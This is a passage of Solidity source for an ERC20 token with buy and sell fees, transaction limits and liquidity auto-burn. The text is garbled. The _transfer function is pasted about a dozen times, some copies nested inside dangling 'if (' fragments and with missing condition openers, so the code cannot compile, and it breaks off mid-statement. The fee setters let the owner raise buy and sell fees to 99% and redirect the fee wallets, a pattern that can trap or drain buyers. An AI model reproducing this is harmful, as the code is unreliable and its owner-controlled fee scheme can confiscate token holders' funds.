buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply); } receive() external payable {} function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 99); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 99); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } if ( function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } else if ( function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } } else if (!_isExcludedMaxTransactionAmount[to]) { function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if 